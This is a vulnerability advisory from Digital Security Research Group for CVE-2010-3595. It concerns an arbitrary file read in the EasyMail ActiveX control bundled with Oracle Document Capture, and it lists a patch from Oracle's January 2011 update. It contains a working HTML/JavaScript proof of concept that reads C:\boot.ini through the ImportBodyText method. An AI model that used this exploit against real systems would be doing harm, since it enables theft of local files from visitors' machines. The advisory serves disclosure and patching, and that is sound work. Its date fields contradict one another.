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[DSECRG-11-007] Oracle Document Capture ImportBodyText - read files

Digital Security Research Group [DSecRG] Advisory DSECRG-11-007 (Internal 
#DSECRG-00117)


Application:                    Oracle Document Capture  
Versions Affected:              10.1350.0005
Vendor URL:                     
http://www.oracle.com/technology/software/products/content-management/index_dc.html
Bugs:                           Insecure READ method
Exploits:                       YES
Reported:                       29.01.2010 
Second report:                  02.02.2010                    
Date of Public Advisory:        24.01.2010  
CVE:                            CVE-2010-3595
Authors:                        Alexey Sintsov
                                by Digital Security Research Group [DSecRG] 
(research [at] dsecrg [dot] com)



Description
***********

EasyMail ActiveX  Control (emsmtp.dll)  that included into Oracle Document 
Capture distrib
can be used to read any file in target system. Vulnerable method is 
"ImportBodyText()".



Details
*******

For example if you enter filename "C:\\boot.ini" in "ImportBodyText" method 
then control will 
open and read file "C:\boot.ini". Content of boot.ini will be loaded into 
property "BodyText" .


Class EasyMailSMTPObj
GUID: {68AC0D5F-0424-11D5-822F-00C04F6BA8D9}
Number of Interfaces: 1
Default Interface: IEasyMailSMTPObj
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False



Example:
*******

<HTML>
        <HEAD>
        <TITLE>DSECRG</TITLE>
        </HEAD>
        <BODY>
        
        <OBJECT id='ora' 
classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'></OBJECT>

        <SCRIPT>
                
        function Exploit(){
                ora.ImportBodyText("C:\\boot.ini");             
                document.write("Try to read 
c:\\boot.ini:<br><br>"+ora.BodyText);
        }
        Exploit();

        </SCRIPT>
</BODY>
</HTML>



References
**********

http://dsecrg.com/pages/vul/show.php?id=307
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html




Fix Information
*************

Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from: 

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html


About
*****

Digital Security: 

Is one of the leading IT security companies in CEMEA, providing information 
security consulting, audit and penetration testing services, ERP and SAP 
security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA 
DSS standards.

Digital Security Research Group:

International subdivision of Digital Security company focused on research and 
software development for securing business-critical systems like: enterprise 
applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking 
software. DSecRG developed new product "ERPSCAN security suite for SAP 
NetWeaver" and service "ERPSCAN Online" which can help customers to perform 
automated security assessments and compliance checks for SAP solutions.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.erpscan.com






Polyakov Alexandr. PCI QSA,PA-QSA
CTO Digital Security
Head of DSecRG
______________________
DIGITAL SECURITY
phone:  +7 812 703 1547
        +7 812 430 9130
e-mail: a.polyakov@xxxxxxx  

www.dsec.ru
www.dsecrg.com www.dsecrg.ru
www.erpscan.com www.erpscan.ru
www.pcidssru.com www.pcidss.ru


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